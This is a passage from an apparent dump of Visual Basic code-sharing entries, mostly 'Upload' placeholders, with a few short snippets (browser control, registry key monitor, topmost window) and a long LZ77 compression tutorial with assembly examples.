psc.\nthis applys to version 1.3.\nCurrent Package size = 200 - 300 kb. including source code, htdocs, docs, and binaries.\nPlease read the txt files in the docs folder.They have alot of info about how to use my server.\nother info:\nThis was NOt made by the same makers as Titan FTP Server.\nIf you think you may get a virus from the binaries, just run the source :P\nalright, PLEASE vote. vote however, i just want any votes that are your true oppinion on my program. also please leave comments. id love to se what you think!\n"},{"WorldId":1,"id":51284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51375,"LineNumber":1,"line":"start a new .EXE file. go to Project>Components>Microsoft Internet Controls then click apply then close. you should see a new icon in the general window. it looks like a globe. click that and draw a big square on your form. you should make it fit right down to the bottom and right to the sides. not too far as users may not be able to see the information as it may go off screen. add a new text box and 1 new command button. double click on the command button and the code window will open. in the middle of the:\nPrivate Sub Command1_Click()\nand\nEnd Sub\nput WebBrowser1.Navigate Text1.Text so the code would look like this:\nPrivate Sub Command1_Click()\nWebBrowser1.Navigate Text1.Text\nEnd Sub\nwhat this code does is tells the web browser control to navigate to the url in the text box. you can add other commands other than Navigate.\nHere are some of them:\nWebBrowser1.Refresh\nWebBrowser1.goBack\nWebBrowser1.goForward\nWebBrowser1.Stop\nWebBrowser1.goHome\ni think you can figure out what they all do. experiment with them.\nNOTE: the user must have Microsoft Internet Explorer to run. hope you like my tutorial. rate it plz!"},{"WorldId":1,"id":51377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51426,"LineNumber":1,"line":"msgbox Environ$(\"windir\") & IIf(Len(Environ$(\"OS\")), \"\\SYSTEM32\", \"\\SYSTEM\")"},{"WorldId":1,"id":51446,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51457,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51599,"LineNumber":1,"line":"Zip file contains article and source code."},{"WorldId":1,"id":51604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58339,"LineNumber":1,"line":"Option Explicit\nDim Original As String\nDim Compare As String\nPrivate Sub Form_Load()\n'Make a backup of any key you want\nShell \"C:\\Windows\\Regedit.exe /e ACTIVEX.REG \" & \"\"\"\" & \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\ActiveX Compatibility\" & \"\"\"\"\n'Save of copy of your registry key and s\n' tore the data in a variable\nOpen App.Path & \"\\ACTIVEX.REG\" For Binary Access Read As #1\nOriginal = Space$(LOF(1))\nGet #1, , Original\nClose #1\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n'Save another copy of the registry key t\n' o compare to the original\nOpen App.Path & \"\\ACTIVEX2.REG\" For Binary Access Read As #1\nCompare = Space$(LOF(1))\nGet #1, , Compare\nClose #1\nIf Original <> Compare Then 'Change the registry key back To the original 'The /s command line makes it silent so Regedit doesn't ask if you're sure you want to add the key to the registry\nShell \"C:\\Windows\\Regedit.exe /s ACTIVEX.REG\"\nMsgBox \"Your monitored registry key has changed.\", vbInformation, \"\"\nEnd If\nShell \"C:\\Windows\\Regedit.exe /e ACTIVEX2.REG \" & \"\"\"\" & \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\ActiveX Compatibility\" & \"\"\"\"\nEnd Sub\n\nPrivate Sub Timer2_Timer()\n'How much time is left until it checks i\n' f your registry key has been changed\n\nIf Label1.Caption = 0 Then\nLabel1.Caption = 30000\nElse\nLabel1.Caption = Label1.Caption - 1000\nEnd If\nEnd Sub"},{"WorldId":1,"id":58343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58365,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58372,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58386,"LineNumber":1,"line":" \nHow you can access all the properties, methods, and \nevents of the html object libray/webbrowser control \nwith using any webbrowser or winsock or inet control. \n \nMost people believe that in order to use these objects \nyou have to load some sort of browser object \ninto memory..which has always been problem for me \nsince i know that IE has a lot of security holes. \n \nthe secret basically lies in one method of the \nHTMLobject library. it is the \".CreateDocumentFromURl\" \nmethod \nIt goes something like this \n \n \n ' \ndim start_time as long \n ' \n ' \n 'set a reference to the \n 'Microsoft HTML object library \n ' \n '======================================== \n \nsub GetDocObject(byval sUrl as string ) \n dim objHTML as new htmlDocument \n dim objDoc as htmlDocument \n \n set objDoc=objHtml.CreateObjectFromUrl(sUrl) \n \n 'we now have to wait for the document to be set \n 'you probably want some sort of time out \n 'value in case of unforseen network problems \n 'otherwise you caught in the dreaded hanging \n 'loop \n \n start_time = getTickCount 'API call \n \n while objDoc.readystate <> \"complete\" \n '5 second timeout value \n if (gettickcount - start_time) > 5000 then \n exit sub \n end if \n doevents \n wend \n \n 'reaching this point in code means \n 'the document object has been set \n 'and you can handle it any way you \n 'wish accessing its links, tables..whatever \n 'for example \n \n dim lcnt as long \n dim upper as long \n dim oLink as htmlAnchorElement \n \n upper = objDoc.GetElementsByTagName(\"A\").length -1 \n \n if upper > 0 then \n \n for lcnt = 0 to upper-1 \n set oLink = objDoc.GetElementsBytagName(\"A\")(lcnt) \n list1.additem oLink.href \n next lcnty \n end if \n \n \nend sub \n "},{"WorldId":1,"id":58392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58435,"LineNumber":1,"line":"Get API Viewer 2004 by Christoph von Wittich, free from this site:\nhttp://www.activevb.de/rubriken/apiviewer/index-apiviewereng.html\nIt contains an updated list of APIs.\nHow to use:\nRun Api viewer 2004 and Open Win32api.apv\nChoose whether you want functions, constants or types and find what you need from the list.\n"},{"WorldId":1,"id":58436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58463,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function GetActiveWindow Lib \"user32\" () As Long\nPrivate Declare Function SetWindowPos Lib \"user32\" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nPrivate Const HWND_TOPMOST = -1 'bring to top and stay there\nPrivate Const SWP_NOMOVE = &H2 'don't move window\nPrivate Const SWP_NOSIZE = &H1 'don't size window\nPrivate Sub Form_Load()\nCall SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)\nEnd Sub\nPrivate Sub Timer1_Timer()\n'If I remove the \"If GetActiveWindow = 0 then\" portion, then the form will also go on top of context menus, also\nIf GetActiveWindow = 0 Then\nCall SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":58473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58488,"LineNumber":1,"line":"Introduction \nIn this article I'll present the basics of lossless compression, also called text compression. This scheme, lz77, is very used because it's easy to implement and also it's fast. (if you improve it, of course) \nThis is the second version of this article, if you've read the first version, you'll notice that is new version is bigger, in fact from 15k to 33k, more than twice, and its better than the first one. Also I recommend reading it, even if you've read the first version, because you'll learn even more. Even this new version is in html format. This is a new version corrected. (have a look at the date at the end) \nThe way I present you Lz77, will not lead you to do an archiver, but may be very interesting for internal data of your programs. It will have a slow compression, a fast decompression and a good ratio. (till N comparisons per byte, where N is the size of the sliding window) Its decompression is the fastest, unless lzrw which perhaps is faster. So it's the perfect algorithm for internal data of program. Also it's the better algorithm for little amounts of data (Haven't you see the 4k intro Mesha by Picard? ;-) And also it's free of patents. If you already have implemented lz77 read the section How to improve it probably you'll find something interesting. \nNow enjoy the article, and let me know all the errors that it could have. \n \n \nTheory \nIn 1977 Abraham Lempel and Jacob Ziv presented their dictionary based scheme for text compression. (in fact text compression refers to lossless compression for all possible data) Till the date all the compression algorithms developed were mainly statical compressors. The new scheme was called lz77. (for obvious reasons) It always outputted offset and lengths to the previous text seen. Also it outputted the next byte after the match, because the context (last bytes seen) of this byte is the phrase, and if it wasn't part of the match (the phrase), then it will not probably compressed, so, why wasting time trying to find a match for it? (and space also) \nIn 1982 James Storer and Thomas Szymanski basing on the work of Lempel and Ziv, presented their scheme, Lzss. The main difference is in the output, lz77 always outputted an offset/length pair, even if the match was only one byte (in this case we were using more than 8 bits to represent a byte) so Lzss uses another trick to improve it, it uses bit flags, they are just one bit that tells what the next data is, a literal (a byte), or a pair of offset/length. And that's what we actually use, but lzss it's commonly called lz77, so we'll call it lz77 from this point at on, but remember that it can also be named Lzss. Lzss also can use binary search trees or suffix trees, for doing a faster search. (which is the bottleneck of lz77) \nWhat's the theory? It's very simple and intuitive. When you find a match (aka phrase, a group of bytes which have been already see in the input file) instead of writing those bytes you write the offset and the length of the repetition: where is it and how long is it. \nThis is a dictionary based scheme, because you keep a dictionary (the sliding window) and you make references to it. (with the offset/length pair) This version, lz77, uses a sliding window, which has a maximum length, so this window can't be the whole file, instead the sliding window holds the last bytes 'seen'. \n \nLz77 \nImagine you are compressing a text: \"ab ab\" you read till \"ab \" and write it uncompressed, then you read \"ab\" and then you write the following: in offset 0 there are two repeated bytes. And how the decompression works? easy, you first read \"ab \" and then the offset and length, and you copy the bytes from there, look: \nGet 'a'. \"a\"\nGet 'b'. \"ab\"\nGet ' '. \"ab \"\nGet Offset and length. Copy two bytes from position 0. (\"ab\") \"ab ab\"\nBut how the decompressor can now if there is an offset/length or an uncompressed byte? simply, we use a prefix, a prefix is a bit that is like a switch with two cases and let us know how the following data is. If its a 0 then it's and uncompressed byte, if it's 1 then it's an offset/length pair. Those prefixes are also called flags. \nThis pair, offset and length, is called code word. A code word is a group of bits (or bytes) that contains some kind of information used by both the compressor and decompressor. (aka codec) The other possible output of lz77 is a literal. A literal is just a byte uncompressed. So the output of lz77 is of three kinds: \nLiterals. They are just uncompressed bytes.\nCode words. In our case they are pairs of offset and length.\nFlags. They tell us if the following data is a literal or a codeword.\nAnd now as an example let's compress again our string and do the 'real' output of lz77: \nGet 'a'. No match. Flag 0. Literal 'a'.\nGet 'b'. No match. Flag 0. Literal 'b'.\nGet ' '. No match. Flag 0. Literal ' '.\nGet 'a'. Match. Flag 1. Code word: offset = 0 length = 2\nAs you see the flags only may have 2 states, 1 or 0. So we only need 1 bit for representing them. Now we can't (we shouldn't) output the flag as a whole byte, we have to work with bits. The output of this compression is called a bit stream, because is a stream of variable length symbols, and the minimum unit is the bit. \n \nSliding window \nIf you see the example again, you may ask: where do we have to look for matches? we look backwards, to the data that we've already processed. This is called the sliding window. The sliding window is a buffer which holds the bytes which are before the current position in the file. Every byte we output uncompressed (a literal) is added to the sliding window, and also all the bytes that form a match. \nLet's see our example again: \nGet 'a'. Sw: \"...\" No match. Flag 0. Literal 'a'.\nGet 'b'. Sw: \"a\" No match. Flag 0. Literal 'b'.\nGet ' '. Sw: \"ab\" No match. Flag 0. Literal ' '.\nGet 'a'. Sw: \"ab \" Match. Flag 1. Code word: offset=0 length=2\nAs you can see, when looking for matches we compare the data that we have in our sliding window (Sw) with the data (bytes) at the current position. \nSo we have to keep one buffer with the data at the current position and another buffer with the sliding window? in some implementations this may be true, but in the implementation that I'll show you, this isn't the way the things are done. Because both the sliding window and the bytes at the current position are nothing else than the file itself, we'll have just one buffer, it'll contain the whole data. Then we just have to care about the pointer to the current position, and the sliding window is just before this pointer. In fact I recommend having the whole file (or at least a big block) and compress it, so you don't have to care about reading more bytes, nor such things. \nAnd now let's talk about the sliding window, how big is it? in fact we can work with the whole file, but think about the offset needed to specify the position of the match. This offset isn't from the position 0 (start of the file) to the match, it's from the current position backwards. So in our example the offset is 3 instead of 0. (thus, when decompressing, the decompressor gets a 3, and subtracts this value to the current offset and it has maked the offset to the match.) As you can see, the bigger the sliding window is, the more bits that we need for saving the pointer, so we have to choose a length for our sliding window. 4096k is widely used, but it's know that the bigger the sliding window is, the better the compression is. So you'll have to choose any length. Let's say we choose length 8192 then we need 13 bits for the offset. \n \nLengths \nAnother thing that we must choose is the length of the length. E-) So how many bits will be used for the length? You can choose any length you want. Tuning both the bits for the length and offset you can improve compression in some files and hurt in other files, so if you are designing a compressor just for one file (like in Mesha) you should try the most appropriate values. But now let's use a length from 0-32 so just 5 bits. \nAnother important thing is the minimum length of a match. In our case we've choosed to spend 13 bits in the offset and 5 in the length, 18 bits, so a match should be at least of 3 bytes. Because if we encode a match of two bytes and spend 18 bytes for both the offset and length we are using 2 bits more. Yes I know 2 bits may seem a very little value, but sometimes you wish your offset could take 2 bits less. ;-) \nBut now another question arises, if we'll never have matches of 0,1,2 bytes, then why we have space for them in the length? \nLet's take profit of every bit. Our length will still have a length of 5 bits, but its range instead of 0-32 will be 3-35. \nHow shall we do that? easy we just subtract to the length (before saving it) 3, and the decompressor just have to read it \nand add 3. \n \nEnd Marker \nNow you should be able to know how the decompression it's done. Note that the decompressor should know how to stop. This may be done in two ways: \nYou have a symbol that marks the end of the data.\nSave along with the bit stream the length of the input file.\nI prefer the second method, it's a little bit slower, but at the same time you use it for knowing the end of the data, you may also use it for a possible interface, also it can let you avoid some problems. However, if you want to use a end marker you could use length 0 for it. The way you do it is the following: the range will be from 3-34, in this case we should subtract to it (when saving) the value 2. So the range 1-32 becomes 3-34, and the compressor just have to care about this while compressing, once compression its over, the output the offset/length (you can manage to not put the offset, by putting the length first) and for the length it outputs a 0 value. The only thing which the decompressor should do is every time it reads a length check if it's 0, if it isn't then add to it 2, otherwise, quit decompressing. \n \nWorking with bits \nAs you could see the offsets and lengths are of variable size, and the flags just take 1 bit, so we have to use bits instead of bytes. This is very important in most of the compression algorithms, once you've learn that you don't have to do it again, just like when you learn how to do file Io, you learn it once and use it a lot of times. So let's start with the bit stuff. \nIf almost all the operations work with bytes and when you save data to a file the minimum unit are bytes how do I use the bits? with a clever use of some instructions. \nFor this topic I will use ASM, however it also can be done in C. If you don't know ASM, learn it! if you don't want to learn it, then read the articles: 'Lzss' and 'lzp' from the mag Hugi #12 (link at my hpage) where you can find some C code. \nWell, let's continue with the operations with bits in ASM. The main idea is to keep a byte and a counter with the bits written, then when you have write 8 bits, you write that byte and start again with another byte. I will use some instructions, be sure to read the explanation of them in the section 'some ASM instructions' Here is the main idea of the put_bits, don't copy it, rewrite it and understand it! \n \n@@put_bits_loop: \npush cx \nmov bh,_byte_out \nmov bl,_byte_in \nmov al,bl \nshr al,1 \nxor ah,ah \nadc ah,0 \nmov bl,al \nmov cl,_total_bits \nshl ah,cl \nor bh,al \nmov _byte_out,bh \ninc _total_bits \ncmp _total_bits,8 \njne @@no_write_byte \nmov di,ptr_buffer \nmov es:[di],bh \ninc di \nmov ptr_buffer,di \ninc bytes_writed \nmov _byte_out,0 \n@@no_write_byte: \npop cx \ndec cx \njnz @@put_bits_loop┬á\n;the number of bits to write \n;the output byte (where to write) \n;the input byte (the bits to write) \n;we store the byte to read from in al \n;we shift to the right al, first bit in the carry flag \n;put ah=0 \n;we add to ah 0 and the carry \n;save the input byte \n;the bits that we have writed \n;put the bit in his position by shifting it to the left \n;put the bit in the output byte \n;save it \n;the bits written \n;Do we have write the whole byte? \n;nop E-) \n;the pointer to the buffer \n;save the byte (es is the segment of the buffer) \n;next byte in the buffer \n;save it for the next time \n;when the buffer its full write it to \n;a file or something like that so the next time is clear \n;we saved it \n;more bits to write? \n;yes, repeat everything\nWell, it's done, as I mentioned I don't like spreading source code, but I thought this was the better way for understanding it. As you see I showed you my putbits routine, I've also done an article about how to improve it, read it, and try to improve it too. The names of the variables are self-explanatory, but anyway: \n \nVariable\nExplanation\n_byte_out\nThe byte that will be writed to the output buffer, it holds the bits that we are currently writing.\n_byte_in\nThe byte wich holds the bits that we want to write.\ntotal_bits\nThe number of bits currently writed, at start 0.\nptr_buffer\n┬áIf you are under real mode then it hold the offset to the buffer and es the segment, if you are in pmode it will hold the whole offset.┬á\nWhen you enter in this routine cx must have the number of bits to write, and _byte_in the bits to write. Be careful, after entering the loop test if cx is 0 because if it's and you don't test you will write 1 bit, then decrement cx, so it's 255, and then you'll write 255 bits! so remember: \n \n \ntest cx,cx \njz @@put_bits_end┬á\n;I will NOT explain that ;-)┬á\nThis is the 'structure' (how the bits are written) for a byte: \n \nBit8\nBit7\nBit6\nBit5\nBit4\nBit3\nBit2\nBit1\nWhen you have write all the bits (ex.: the compression is over) then you have to test if there is some bits waiting for been write, so if there are any (total_bits!=0) then you write the _byte_out, and increment all the pointers so you don't leave any data without writing. Note that this function will fail if you pass it more than 8 bits because it takes the input bits in a byte, not in a word. So if you want to write more than 8 bits then first write the low-part (8 bits) and then the rest, to write and to read it you should use 'ands' 'shl' and 'shr'. Now yoy need the get_bits function... hey! I've explained the basic operations with bits, you should now be able to do that routine yourself, happy coding! E-) \n \nSome ASM instructions \nI'll remind you some instructions so you have no problem when doing the putbits and getbits, if you already know that skip to the next section. \n \nInstrucion\nExplanation┬á\nShr \n \n \n \n \nShift (move) the bits to the right: \n shr al,1 ;first al=11100010b then al=01110001b (cf=0) \n shr al,2 ;first al=01011010b then al=00010111b (cf=1) \n The last bit shifted will go to the carry flag. \n Instead of a direct value you may use cl, and only cl. \n mov cl,2 \n shr al,cl ;this will shift al by 2 \n Note that the 'new' bit is filled with 0.┬á\nShl┬á\nThe same but to the left. (the carry is changed too) \n┬áshl al,2 ;first al=01001011b then al=00101100b (cf=1)┬á\nAdc\nAdd with carry. This adds to any register any value and the content \n of the carry flag too. \n adc ah,0 ;first al=0 (cf=1) then al=1 \n adc ah,0 ;first al=0 (cf=0) then al=0 \n adc ah,3 ;first al=1 (cf=1) then al=5┬á\nOr\nThis performs a bit operation. \n There is the table: - 0+0=0 - 0+1=1 - 1+1=1 - \n or al,00001111b ;first al=0, then al= 00001111b \n or al,00001111b ;first al=10110010, then al= 10111111b\nMaybe you knew how these instructions worked, if you didn't know then learn it. \n \nOutput file \nNow we should define the output file format, it will be simple, just to fit our needs, the compressed data will be like that: First a word or dword with the size of the original file. (Also if you want, you can put some numbers as Identification, something like \"LZ\") Then the bit stream, this is the compressed data, it's the bytes containing all the bits that you can read with a getbits. The data in the bitstream is, first a flag bit, which identifies the next data. \n \nFlag┬á\nNext Data\n0\nLiteral┬á\n1\nCodeWord┬á\nRemember that the Code Word is the pair offset and length. And the size of every element: \n \nBits┬á\nElement┬á\n8\nLiteral (just a byte)\n5\nLength┬á\n13\nOffset\nBecause this article just pretend to teach the basics, it will not care about things like the Crc-32 or the size of the bit stream, \netc. wich are needed in an archiver. \n \nPseudo-code \nSo go now and first of all get the basics of you program, getting the parameters, the work with the files, and do some test with the bits operations, save it to a file, read them, and test if the bits returned are the right ones. \nOk, now I will assume that you have already did all this work. Let's remind how lz77 works, you are in a given position and you try to find backwards (backwards because you are sure that the decompressor already have decoded those bytes when you are in this position) a match, bytes which are equal to the bytes at the current position; if you find them you output a codeword, else you have to output a literal so you can continue compressing. \nWell, here it is how we do it: \nSave the length of the file to compress\nLoop till there is no more bytes to compress\nScan the input buffer starting in current_position-sliding_window_length till the current byte that we are comparing. (Note that the decompressor can't copy bytes from a position where their bytes aren't already defined.)\nHave we found a byte equal to the current?\nYes. \nThen compare the next byte from the current position with the byte in the next position when we've founded a byte equal to the first.\nContinue comparing till you find a byte that isn't equal, but remember keeping the number of bytes which are equal.\nNow you have found a byte that isn't equal. Is the number of bytes found more than 3? \nYes. Write the offset of the FIRST byte found, and the number of bytes repeated. (length) Then advance the pointer to the current position with the number of bytes repeated (because we have 'saved' it) and continue searching. (also a 1 flag)\nNo. continue searching.\nNo. If you don't find any match then you simply write and uncompressed byte. (also you write a literal if there's no data at the sliding window) (remember to put first the 0 flag)\nIf you don't exactly know how comparisons are done look at the section Looking for matches. That is all the work. Remember of writing the flags too. Go and implement it, test it with an easy text, for example check it with those strings: \n\"11 222 11 222\" \"111222111312221\" \nYour compressor seem to not have bugs? yes? well, now we have to do a decompressor: \nyou read it the length of the uncompressed file\nThen you loop till you've uncompressed the whole file\nRead a bit (the flag)\nIt's 0 \nRead 8 bits and write them to the output buffer (remember they are an uncompressed byte) Increment the pointer to the output.\nIt's 1 \nRead the whole offset, 13 bits. then the length, copy 'length' byte from 'offset' to the current position, and add to the pointer to the output the 'length'.\nNow the compressor and the decompressor are done, well, if you have any bug, and you can't find it look at the section Possible bugs, else go directly to the next section. If you have did the compressor and the decompressor without any bugs, then you have did a good work, congratulations, but there is still a lot of things to do. E-) Hey!, keep up the good work. ;-) \n \nLooking for matches \nThe way you search the matches is the following, you keep a pointer to the current position. At the start of any itineration, you compute the offset to the Sliding Window. You can easily do this getting the pointer to the current position and subtracting to it the length of the sliding window, in case it underflows (it goes beyond 0) just set it to 0. \nLet's say we have a sliding window of 4 bytes long. (So we spend 2 bits to specify this offset, but never do that, this is too little) And we have the following string: \"1234567\" \nCp: 0. Swp=0-4=0. Current: \"1234567\" Sliding Window: \"...\"\nCp: 1. Swp=1-4=0. Current: \"234567\" Sliding Window: \"1\"\nCp: 2. Swp=2-4=0. Current: \"34567\" Sliding Window: \"12\"\nCp: 3. Swp=3-4=0. Current: \"4567\" Sliding Window: \"123\"\nCp: 4. Swp=4-4=0. Current: \"567\" Sliding Window: \"1234\"\nCp: 5. Swp=5-4=1. Current: \"67\" Sliding Window: \"2345\"\nCp: 6. Swp=6-4=2. Current: \"7\" Sliding Window: \"3456\"\nWhere Cp is the pointer to the current bytes, and Swp the pointer to the start of the sliding window. When using pointers to the whole input file you have to care about the length of the sliding window. You can keep a variable with the length. But I do something different. Let's say we have in Esi the pointer to the start of the sliding window, and in Edi the pointer to the current position, then I compare and look for matches with Esi till it's equal to edi, then it means that we are in the current position, and because this will not be available to the decompressor, then we shouldn't look for matches there. The routine that search matches in the sliding window is called parser. The way I look for matches is the following, I get the byte at the current position, then I search thru the sliding window till I find a byte equal, something like that: \n \n_byte_=*current_pointer; \n┬áfor(i=0;i<=sliding_window_length;++i) \n { \n if(_byte_==*sliding_window_pointer) \n { \n //count how many bytes in the match \n } \n ++sliding_window_pointer; \n }┬á\nThen you just have to count how many bytes are equal, or even if we have a real match. \n \nmatch_length=0; \nwhile(*(current_pointer+match_length)==*(sliding_window_pointer+match_length)) \n ++match_length;┬á\nSo when you break this loop you have how many bytes are equal, in case match_length is above than 2, then you can directly compress that. Of course there you should care about the end of the file, the length of the sliding window and such things, but this is the beauty of doing a parser, and you should do it. \n \nPossible bugs \nIf you have any bug, if something crashes, or the decompresed file isn't the same, read this. Of course the first thing is to have the bit Io (input/output) without any bug, check it extensively. Are you sure that you write the offsets the way they should be write? You can have a bug when doing the offset to the start of the sliding window. Another source of bugs is to stop scanning when looking for a matches. May be you don't stop scanning when the file is over. May be you forgot to restore the pointer after a failed match. Are you sure you've write all the bits to the output file? If you ever change the length of any element like the offset or the length remember to change it also in the decompressor. When you read an offset, you remember to get the pointer to the current position and subtract to it the value you've just read? \n \nHow to improve it \nWell, you've already implemented it, but you need even more compression, or more speed, then read this section. \nFirst take a look at this string: \"444 4444 4444\" Imagine you are compressing it, and you have already compressed \"444 4444\" then you read '4' and found a match, \"444\" right? NO, You have found a match, but maybe it isn't the better one, what you have to do is save temporally this, and continue till you've scanned all the buffer, (till the end, the current position) and then get the better one and write it. The way you can do that is the following: Have a variable called _offset_ and _best_length_, any itineration put _best_length_=0 then scan, once you've found one match compare it's length with _best_length_ if it's above or equal set _best_length_ to the current length and _offset_ to the offset of the match. (phrase) In this case we'll scan 